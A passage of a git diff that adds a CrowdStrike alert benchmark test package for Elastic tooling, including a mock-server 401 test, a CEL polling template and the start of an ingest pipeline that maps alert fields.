+get_docs -profile ${CONFIG_PROFILES}/${PROFILE} -want 1 -confirm 15s -timeout 5m ${DATA_STREAM_NAME} +cp stdout got_docs.json + +# Verify the error message indicates the 401 response. +exec jq -r '.hits.hits[0]._source.error.message' got_docs.json +stdout 'Unauthorized' + +# The error message should reference the alerts endpoint. +exec jq -r '.hits.hits[0]._source.error.message' got_docs.json +stdout 'alerts/combined/alerts/v1' + +# No alert data events should be present. +exec jq '[.hits.hits[]._source | select(.crowdstrike.alert != null)] | length' got_docs.json +stdout '^0$' + +# Clean up. +remove_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} ${DATA_STREAM_NAME} +uninstall_agent -profile ${CONFIG_PROFILES}/${PROFILE} -timeout 1m +docker_down cs-mock + +# Clean up license workaround (https://github.com/elastic/elastic-package/issues/3321). +exec rm -rf ${PACKAGE_ROOT}/licenses + +-- test_config.yaml -- +input: cel +vars: + url: http://cs-mock:8080 + client_id: test-client-id + client_secret: test-client-secret + token_url: http://cs-mock:8080/oauth2/token +data_stream: + vars: + interval: 30s + initial_interval: 1h + batch_size: 10 + preserve_original_event: true + enable_request_tracer: false +-- cs-mock/docker-compose.yml -- +version: '2.3' +services: + cs-mock: + image: docker.elastic.co/observability/stream:v0.20.0 + hostname: cs-mock + ports: + - 8080 + environment: + PORT: "8080" + volumes: + - ./config.yml:/config.yml + command: + - http-server + - --addr=:8080 + - --config=/config.yml +-- cs-mock/config.yml -- +rules: + # OAuth2 token endpoint: returns a valid access token. + - path: /oauth2/token + methods: [POST] + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {"access_token":"test-token","expires_in":3600,"token_type":"Bearer"} + + # Alerts endpoint: returns 401 Unauthorized (invalid credentials). + # The CEL program emits an error event with error.code="401" and want_more=false. + - path: /alerts/combined/alerts/v1 + methods: [POST] + responses: + - status_code: 401 + headers: + Content-Type: + - "application/json" + body: |- + {"errors":[{"code":401,"message":"Unauthorized: invalid client credentials"}],"resources":[]} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml new file mode 100644 index 0000000000..7bdfd95a91 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml @@ -0,0 +1,15 @@ +input: cel +service: crowdstrike-alert +vars: + url: http://{{Hostname}}:{{Port}} + client_id: xxxx + client_secret: xxxx + token_url: http://{{Hostname}}:{{Port}}/oauth2/token +data_stream: + vars: + interval: 10s + batch_size: 1 + preserve_original_event: true + preserve_duplicate_custom_fields: true +assert: + hit_count: 3 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs new file mode 100644 index 0000000000..b9c4c9c6fd --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs @@ -0,0 +1,130 @@ +config_version: 2 +interval: {{interval}} +resource.tracer: + enabled: {{enable_request_tracer}} + filename: "../../logs/cel/http-request-trace-*.ndjson" + maxbackups: 5 +{{#if proxy_url}} +resource.proxy_url: {{proxy_url}} +{{/if}} +{{#if proxy_headers}} +resource.proxy_headers: {{proxy_headers}} +{{/if}} +{{#if ssl}} +resource.ssl: {{ssl}} +{{/if}} +{{#if http_client_timeout}} +resource.timeout: {{http_client_timeout}} +{{/if}} +resource.url: {{url}} +auth.oauth2: + client.id: {{client_id}} + client.secret: {{client_secret}} + token_url: {{token_url}} +state: + initial_interval: {{initial_interval}} + batch_size: {{batch_size}} +{{#if query}} + query: {{query}} +{{/if}} +redact: + fields: ~ +program: |- + state.with( + ( + state.?want_more.orValue(false) ? + state.start_time + : + state.?cursor.last_timestamp.orValue( + (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) + ) + ).as(start_time, + post_request( + state.url.trim_right("/") + "/alerts/combined/alerts/v1?", + "application/json", + { + ?"after": state.?next.page_token, + "limit": int(state.batch_size), + "sort": "updated_timestamp|asc", + "filter": [ + "updated_timestamp:>'" + start_time + "'", + ?state.?query.optMap(q, "(" + q + ")"), + ].join("+"), + }.encode_json() + ).do_request().as(resp, (resp.StatusCode == 200) ? + resp.Body.decode_json().as(body, + (size(body.?errors.orValue([])) > 0) ? + { + "events": body.errors.map(error, + { + "error": { + "code": string(error.code), + "message": string(error.message), + }, + } + ), + "next": {}, + "want_more": false, + } + : + { + "events": has(body.resources) ? + body.resources.map(e, + { + "message": e.encode_json(), + } + ) + : + [], + "start_time": start_time, + "next": { + ?"page_token": body.?meta.pagination.after, + }, + "cursor": { + // The records are sorted in ascending order based on the value of updated_timestamp, + // in the next interval we start from the last event (newest) time. + ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? + optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) + : + state.?cursor.last_timestamp, + }, + "want_more": has(body.?meta.pagination.after), + } + ) + : + { + "events": { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( + (size(resp.Body) != 0) ? + string(resp.Body) + : + string(resp.Status) + " (" + string(resp.StatusCode) + ")" + ), + }, + }, + "next": {}, + "want_more": false, + } + ) + ) + ) +tags: +{{#if preserve_original_event}} + - preserve_original_event +{{/if}} +{{#if preserve_duplicate_custom_fields}} + - preserve_duplicate_custom_fields +{{/if}} +{{#each tags as |tag|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +{{#if processors}} +processors: +{{processors}} +{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 0000000000..ddc83b719f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,3079 @@ +--- +description: Pipeline for processing Alert logs. +processors: + - remove: + field: + - organization + - division + - team + ignore_missing: true + if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String + tag: remove_agentless_tags + description: >- + Removes the fields added by Agentless as metadata, + as they can collide with ECS fields. + - set: + field: ecs.version + tag: set_ecs_version + value: 8.17.0 + - set: + field: event.kind + tag: set_event_kind + value: alert + - rename: + field: message + tag: rename_message_to_event_original + target_field: event.original + ignore_missing: true + description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document. + if: ctx.event?.original == null + - remove: + field: message + tag: remove_message + ignore_missing: true + description: The `message` field is no longer required if the document has an `event.original` field. + if: ctx.event?.original != null + - terminate: + tag: data_collection_error + if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null + description: error message set and no data to process. + - json: + field: event.original + tag: json_event_original + target_field: json + on_failure: + - append: + tag: append_error_message_cea45f41 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.category + tag: set_event_category_process + value: ['process'] + if: ctx.json?.process_id != null || ctx.json?.triggering_process_graph_id != null + - set: + field: event.type + tag: set_event_type_start + value: ['start'] + if: ctx.json?.process_start_time != null + - convert: + field: json.active_directory_authentication_method + tag: convert_active_directory_authentication_method_to_long + target_field: crowdstrike.alert.active_directory_authentication_method + type: long + if: ctx.json?.active_directory_authentication_method != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_66658c56 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.activity_browser + tag: rename_activity_browser + target_field: crowdstrike.alert.activity.browser + ignore_missing: true + - rename: + field: json.activity_device + tag: rename_activity_device + target_field: crowdstrike.alert.activity.device + ignore_missing: true + - rename: + field: json.activity_id + tag: rename_activity_id + target_field: crowdstrike.alert.activity.id + ignore_missing: true + - rename: + field: json.activity_os + tag: rename_activity_os + target_field: crowdstrike.alert.activity.os + ignore_missing: true + - rename: + field: json.agent_id + tag: rename_agent_id + target_field: crowdstrike.alert.agent_id + ignore_missing: true + - set: + field: host.id + tag: set_host_id_from_alert_agent_id + copy_from: crowdstrike.alert.agent_id + ignore_empty_value: true + - rename: + field: json.agent_scan_id + tag: rename_agent_scan_id + target_field: crowdstrike.alert.agent_scan_id + ignore_missing: true + - rename: + field: json.aggregate_id + tag: rename_aggregate_id + target_field: crowdstrike.alert.aggregate_id + ignore_missing: true + - convert: + field: json.alert_attributes + tag: convert_alert_attributes_to_long + target_field: crowdstrike.alert.alert_attributes + type: long + if: ctx.json?.alert_attributes != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_70221132 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.alleged_filetype + tag: rename_alleged_filetype + target_field: crowdstrike.alert.alleged_filetype + ignore_missing: true + - rename: + field: json.assigned_to_name + tag: rename_assigned_to_name + target_field: crowdstrike.alert.assigned_to.name + ignore_missing: true + - rename: + field: json.assigned_to_uid + tag: rename_assigned_to_uid + target_field: crowdstrike.alert.assigned_to.uid + ignore_missing: true + - append: + field: related.user + tag: append_crowdstrike_alert_assigned_to_uid_into_related_user + value: '{{{crowdstrike.alert.assigned_to.uid}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.assigned_to?.uid != null + - rename: + field: json.assigned_to_uuid + tag: rename_assigned_to_uuid + target_field: crowdstrike.alert.assigned_to.uuid + ignore_missing: true + - foreach: + tag: foreach_json_associated_files_6443225a + field: json.associated_files + if: ctx.json?.associated_files instanceof List + processor: + append: + field: related.hash + tag: append_associated_files_sha256_into_related_hash + value: '{{{_ingest._value.sha256}}}' + allow_duplicates: false + - rename: + field: json.associated_files + tag: rename_associated_files + target_field: crowdstrike.alert.associated_files + ignore_missing: true + - rename: + field: json.child_process_ids + tag: rename_child_process_ids + target_field: crowdstrike.alert.child_process_ids + ignore_missing: true + - rename: + field: json.cid + tag: rename_cid + target_field: crowdstrike.alert.cid + ignore_missing: true + - convert: + field: json.cloud_indicator + tag: convert_cloud_indicator_to_boolean + target_field: crowdstrike.alert.cloud_indicator + type: boolean + if: ctx.json?.cloud_indicator != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_3388312c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.prevented + tag: convert_prevented_to_boolean + target_field: crowdstrike.alert.prevented + type: boolean + if: ctx.json?.prevented != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_fd4efaf4 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.worker_node_name + tag: rename_worker_node_name + target_field: crowdstrike.alert.worker_node_name + ignore_missing: true + - rename: + field: json.cmdline + tag: rename_cmdline + target_field: crowdstrike.alert.cmdline + ignore_missing: true + - rename: + field: json.command_line + tag: rename_command_line + target_field: crowdstrike.alert.command_line + ignore_missing: true + - set: + field: process.command_line + tag: set_process_command_line + copy_from: crowdstrike.alert.command_line + ignore_empty_value: true + - rename: + field: json.comment + tag: rename_comment + target_field: crowdstrike.alert.comment + ignore_missing: true + - rename: + field: json.composite_id + tag: rename_composite_id + target_field: crowdstrike.alert.composite_id + ignore_missing: true + - convert: + field: json.confidence + tag: convert_confidence_to_long + target_field: crowdstrike.alert.confidence + type: long + if: ctx.json?.confidence != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_056ec0de + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.context_timestamp + tag: date_context_timestamp + target_field: crowdstrike.alert.context_timestamp + formats: + - ISO8601 + if: ctx.json?.context_timestamp != null && ctx.json.context_timestamp != '' + on_failure: + - append: + tag: append_error_message_4c68faac + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.control_graph_id + tag: rename_control_graph_id + target_field: crowdstrike.alert.control_graph_id + ignore_missing: true + - rename: + field: json.crawl_edge_ids.Sensor + tag: rename_crawl_edge_ids_Sensor + target_field: crowdstrike.alert.crawl_edge_ids.Sensor + ignore_missing: true + - rename: + field: json.crawl_vertex_ids.Sensor + tag: rename_crawl_vertex_ids_Sensor + target_field: crowdstrike.alert.crawl_vertex_ids.Sensor + ignore_missing: true + - date: + field: json.crawled_timestamp + tag: date_crawled_timestamp + target_field: crowdstrike.alert.crawled_timestamp + formats: + - ISO8601 + if: ctx.json?.crawled_timestamp != null && ctx.json.crawled_timestamp != '' + on_failure: + - append: + tag: append_error_message_fc8893f7 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.created_timestamp + tag: date_created_timestamp + target_field: crowdstrike.alert.created_timestamp + formats: + - ISO8601 + if: ctx.json?.created_timestamp != null && ctx.json.created_timestamp != '' + on_failure: + - append: + tag: append_error_message_ca63e3f9 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.data_domains + tag: rename_data_domains + target_field: crowdstrike.alert.data_domains + ignore_missing: true + - rename: + field: json.description + tag: rename_description + target_field: crowdstrike.alert.description + ignore_missing: true + - set: + field: message + tag: set_message_from_alert_description + copy_from: crowdstrike.alert.description + ignore_empty_value: true + - rename: + field: json.detect_type + tag: rename_detect_type + target_field: crowdstrike.alert.detect_type + ignore_missing: true + - convert: + field: json.device.agent_load_flags + tag: convert_device_agent_load_flags_to_long + target_field: crowdstrike.alert.device.agent_load_flags + type: long + if: ctx.json?.device?.agent_load_flags != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_b98af92a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.device.agent_local_time + tag: date_device_agent_local_time + target_field: crowdstrike.alert.device.agent_local_time + formats: + - ISO8601 + if: ctx.json?.device?.agent_local_time != null && ctx.json.device.agent_local_time != '' + on_failure: + - append: + tag: append_error_message_538d3a21 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.device.agent_version + tag: rename_device_agent_version + target_field: crowdstrike.alert.device.agent_version + ignore_missing: true + - rename: + field: json.device.bios_manufacturer + tag: rename_device_bios_manufacturer + target_field: crowdstrike.alert.device.bios_manufacturer + ignore_missing: true + - rename: + field: json.device.bios_version + tag: rename_device_bios_version + target_field: crowdstrike.alert.device.bios_version + ignore_missing: true + - rename: + field: json.device.cid + tag: rename_device_cid + target_field: crowdstrike.alert.device.cid + ignore_missing: true + - rename: + field: json.device.config_id_base + tag: rename_device_config_id_base + target_field: crowdstrike.alert.device.config_id_base + ignore_missing: true + - rename: + field: json.device.config_id_build + tag: rename_device_config_id_build + target_field: crowdstrike.alert.device.config_id_build + ignore_missing: true + - convert: + field: json.device.config_id_platform + tag: convert_device_config_id_platform_to_long + target_field: crowdstrike.alert.device.config_id_platform + type: long + if: ctx.json?.device?.config_id_platform != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_f3e43e5e + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.device.external_ip + tag: convert_device_external_ip_to_ip + target_field: crowdstrike.alert.device.external_ip + type: ip + ignore_missing: true + if: ctx.json?.device?.external_ip != null && ctx.json.device.external_ip != '' + on_failure: + - append: + tag: append_error_message_42084d15 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: related.ip + tag: append_crowdstrike_alert_device_external_ip_into_related_ip + value: '{{{crowdstrike.alert.device.external_ip}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.external_ip != null + - append: + field: host.ip + tag: append_crowdstrike_alert_device_external_ip_into_host_ip + value: '{{{crowdstrike.alert.device.external_ip}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.external_ip != null + - date: + field: json.device.first_seen + tag: date_device_first_seen + target_field: crowdstrike.alert.device.first_seen + formats: + - ISO8601 + if: ctx.json?.device?.first_seen != null && ctx.json.device.first_seen != '' + on_failure: + - append: + tag: append_error_message_aea505b6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.device.groups + tag: rename_device_groups + target_field: crowdstrike.alert.device.groups + ignore_missing: true + - rename: + field: json.device.hostinfo.active_directory_dn_display + tag: rename_device_hostinfo_active_directory_dn_display + target_field: crowdstrike.alert.device.hostinfo.active_directory_dn_display + ignore_missing: true + - rename: + field: json.device.hostinfo.domain + tag: rename_device_hostinfo_domain + target_field: crowdstrike.alert.device.hostinfo.domain + ignore_missing: true + - set: + field: host.domain + tag: set_host_domain_from_alert_device_hostinfo_domain + copy_from: crowdstrike.alert.device.hostinfo.domain + ignore_empty_value: true + - append: + tag: append_related_hosts_2d0901db + field: related.hosts + value: '{{{host.domain}}}' + allow_duplicates: false + if: ctx.host?.domain != null + - rename: + field: json.device.hostname + tag: rename_device_hostname + target_field: crowdstrike.alert.device.hostname + ignore_missing: true + - set: + field: host.hostname + tag: set_host_hostname_from_alert_device_hostname + copy_from: crowdstrike.alert.device.hostname + ignore_empty_value: true + - append: + tag: append_related_hosts_ca923905 + field: related.hosts + value: '{{{host.hostname}}}' + allow_duplicates: false + if: ctx.host?.hostname != null + - rename: + field: json.device.device_id + tag: rename_device_device_id + target_field: crowdstrike.alert.device.id + ignore_missing: true + - set: + field: device.id + tag: set_device_id_from_alert_device_id + copy_from: crowdstrike.alert.device.id + ignore_empty_value: true + - date: + field: json.device.last_seen + tag: date_device_last_seen + target_field: crowdstrike.alert.device.last_seen + formats: + - ISO8601 + if: ctx.json?.device?.last_seen != null && ctx.json.device.last_seen != '' + on_failure: + - append: + tag: append_error_message_c4fe6db0 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.device.local_ip + tag: convert_device_local_ip_to_ip + target_field: crowdstrike.alert.device.local_ip + type: ip + ignore_missing: true + if: ctx.json?.device?.local_ip != null && ctx.json.device.local_ip != '' + on_failure: + - append: + tag: append_error_message_90137be3 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: related.ip + tag: append_crowdstrike_alert_device_local_ip_into_related_ip + value: '{{{crowdstrike.alert.device.local_ip}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.local_ip != null + - append: + field: host.ip + tag: append_crowdstrike_alert_device_local_ip_into_host_ip + value: '{{{crowdstrike.alert.device.local_ip}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.local_ip != null + - gsub: + field: json.device.mac_address + tag: gsub_device_mac_address + pattern: '[:.]' + replacement: '-' + target_field: crowdstrike.alert.device.mac_address + ignore_missing: true + on_failure: + - append: + tag: append_error_message_d911be70 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - uppercase: + field: crowdstrike.alert.device.mac_address + tag: uppercase_device_mac_address + ignore_missing: true + if: ctx.crowdstrike?.alert?.device?.mac_address != '' + on_failure: + - append: + tag: append_error_message_2fa36041 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: host.mac + value: '{{{crowdstrike.alert.device.mac_address}}}' + tag: append_device_mac_address_into_host_mac + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.mac_address != null + - rename: + field: json.device.machine_domain + tag: rename_device_machine_domain + target_field: crowdstrike.alert.device.machine_domain + ignore_missing: true + - append: + tag: append_related_hosts_9c327391 + field: related.hosts + value: '{{{crowdstrike.alert.device.machine_domain}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.device?.machine_domain != null + - rename: + field: json.device.major_version + tag: rename_device_major_version + target_field: crowdstrike.alert.device.major_version + ignore_missing: true + - rename: + field: json.device.minor_version + tag: rename_device_minor_version + target_field: crowdstrike.alert.device.minor_version + ignore_missing: true + - date: + field: json.device.modified_timestamp + tag: date_device_modified_timestamp + target_field: crowdstrike.alert.device.modified_timestamp + formats: + - ISO8601 + if: ctx.json?.device?.modified_timestamp != null && ctx.json.device.modified_timestamp != '' + on_failure: + - append: + tag: append_error_message_f62d2786 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.device.os_version + tag: rename_device_os_version + target_field: crowdstrike.alert.device.os_version + ignore_missing: true + - set: + field: host.os.full + tag: set_host_os_full_from_alert_device_os_version + copy_from: crowdstrike.alert.device.os_version + ignore_empty_value: true + - rename: + field: json.device.ou + tag: rename_device_ou + target_field: crowdstrike.alert.device.ou + ignore_missing: true + - rename: + field: json.device.platform_id + tag: rename_device_platform_id + target_field: crowdstrike.alert.device.platform_id + ignore_missing: true + - rename: + field: json.device.platform_name + tag: rename_device_platform_name + target_field: crowdstrike.alert.device.platform_name + ignore_missing: true + - set: + field: host.os.platform + tag: set_host_os_platform_from_alert_device_platform_name + copy_from: crowdstrike.alert.device.platform_name + ignore_empty_value: true + - rename: + field: json.device.pod_labels + tag: rename_device_pod_labels + target_field: crowdstrike.alert.device.pod_labels + ignore_missing: true + - rename: + field: json.device.product_type + tag: rename_device_product_type + target_field: crowdstrike.alert.device.product_type + ignore_missing: true + - rename: + field: json.device.product_type_desc + tag: rename_device_product_type_desc + target_field: crowdstrike.alert.device.product_type_desc + ignore_missing: true + - rename: + field: json.device.site_name + tag: rename_device_site_name + target_field: crowdstrike.alert.device.site_name + ignore_missing: true + - rename: + field: json.device.status + tag: rename_device_status + target_field: crowdstrike.alert.device.status + ignore_missing: true + - rename: + field: json.device.system_manufacturer + tag: rename_device_system_manufacturer + target_field: crowdstrike.alert.device.system_manufacturer + ignore_missing: true + - set: + field: device.manufacturer + tag: set_device_manufacturer + copy_from: crowdstrike.alert.device.system_manufacturer + ignore_empty_value: true + - rename: + field: json.device.system_product_name + tag: rename_device_system_product_name + target_field: crowdstrike.alert.device.system_product_name + ignore_missing: true + - set: + field: device.model.name + tag: set_device_model_name + copy_from: crowdstrike.alert.device.system_product_name + ignore_empty_value: true + - rename: + field: json.device.tags + tag: rename_device_tags + target_field: crowdstrike.alert.device.tags + ignore_missing: true + - foreach: + tag: foreach_crowdstrike_alert_device_tags_a1915566 + field: crowdstrike.alert.device.tags + if: ctx.crowdstrike?.alert?.device?.tags instanceof List + processor: + append: + field: tags + tag: append_device_tags_into_tags + value: '{{{_ingest._value}}}' + allow_duplicates: false + - rename: + field: json.display_name + tag: rename_display_name + target_field: crowdstrike.alert.display_name + ignore_missing: true + - foreach: + tag: foreach_json_documents_accessed_afb565b7 + field: json.documents_accessed + if: ctx.json?.documents_accessed instanceof List + processor: + date: + field: _ingest._value.timestamp + tag: date_documents_accessed_timestamp + target_field: _ingest._value.timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.timestamp + ignore_missing: true + - rename: + field: json.documents_accessed + tag: rename_documents_accessed + target_field: crowdstrike.alert.documents_accessed + ignore_missing: true + - convert: + field: json.email_sent + tag: convert_email_sent_to_boolean + target_field: crowdstrike.alert.email_sent + type: boolean + if: ctx.json?.email_sent != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_b088653e + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.end_time + tag: date_end_time + target_field: crowdstrike.alert.end_time + formats: + - ISO8601 + if: ctx.json?.end_time != null && ctx.json.end_time != '' + on_failure: + - append: + tag: append_error_message_2fdf0e8d + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.end + tag: set_event_end_from_alert_end_time + copy_from: crowdstrike.alert.end_time + ignore_empty_value: true + - rename: + field: json.event_id + tag: rename_event_id + target_field: crowdstrike.alert.event_id + ignore_missing: true + - foreach: + tag: foreach_json_executables_written_d270852a + field: json.executables_written + if: ctx.json?.executables_written instanceof List + processor: + date: + field: _ingest._value.timestamp + tag: date_executables_written_timestamp + target_field: _ingest._value.timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.timestamp + ignore_missing: true + - rename: + field: json.executables_written + tag: rename_executables_written + target_field: crowdstrike.alert.executables_written + ignore_missing: true + - rename: + field: json.falcon_host_link + tag: rename_falcon_host_link + target_field: crowdstrike.alert.falcon_host_link + ignore_missing: true + - rename: + field: json.filename + tag: rename_filename + target_field: crowdstrike.alert.filename + ignore_missing: true + - set: + field: file.name + tag: set_file_name_from_alert_filename + copy_from: crowdstrike.alert.filename + ignore_empty_value: true + - set: + field: process.name + tag: set_process_name + copy_from: crowdstrike.alert.filename + ignore_empty_value: true + - rename: + field: json.filepath + tag: rename_filepath + target_field: crowdstrike.alert.filepath + ignore_missing: true + - set: + field: file.path + tag: set_file_path_from_alert_filepath + copy_from: crowdstrike.alert.filepath + ignore_empty_value: true + - set: + field: process.executable + tag: set_process_executable + copy_from: crowdstrike.alert.filepath + ignore_empty_value: true + - foreach: + tag: foreach_json_file_writes_c1fc43a1 + field: json.file_writes + if: ctx.json?.file_writes instanceof List + processor: + append: + field: related.hash + tag: append_file_writes_sha256_into_related_hash + value: '{{{_ingest._value.sha256}}}' + allow_duplicates: false + - rename: + field: json.file_writes + tag: rename_file_writes + target_field: crowdstrike.alert.file_writes + ignore_missing: true + - foreach: + tag: foreach_json_files_accessed_df889ede + field: json.files_accessed + if: ctx.json?.files_accessed instanceof List + processor: + date: + field: _ingest._value.timestamp + tag: date_files_accessed_timestamp + target_field: _ingest._value.timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.timestamp + ignore_missing: true + - rename: + field: json.files_accessed + tag: rename_files_accessed + target_field: crowdstrike.alert.files_accessed + ignore_missing: true + - foreach: + tag: foreach_json_files_written_4c004154 + field: json.files_written + if: ctx.json?.files_written instanceof List + processor: + date: + field: _ingest._value.timestamp + tag: date_files_written_timestamp + target_field: _ingest._value.timestamp + formats: + - UNIX + - UNIX_MS + on_failure: + - remove: + field: _ingest._value.timestamp + ignore_missing: true + - rename: + field: json.files_written + tag: rename_files_written + target_field: crowdstrike.alert.files_written + ignore_missing: true + - rename: + field: json.global_prevalence + tag: rename_global_prevalence + target_field: crowdstrike.alert.global_prevalence + ignore_missing: true + - rename: + field: json.grandparent_details.cmdline + tag: rename_grandparent_details_cmdline + target_field: crowdstrike.alert.grandparent_details.cmdline + ignore_missing: true + - rename: + field: json.grandparent_details.filename + tag: rename_grandparent_details_filename + target_field: crowdstrike.alert.grandparent_details.filename + ignore_missing: true + - rename: + field: json.grandparent_details.filepath + tag: rename_grandparent_details_filepath + target_field: crowdstrike.alert.grandparent_details.filepath + ignore_missing: true + - rename: + field: json.grandparent_details.local_process_id + tag: rename_grandparent_details_local_process_id + target_field: crowdstrike.alert.grandparent_details.local_process_id + ignore_missing: true + - 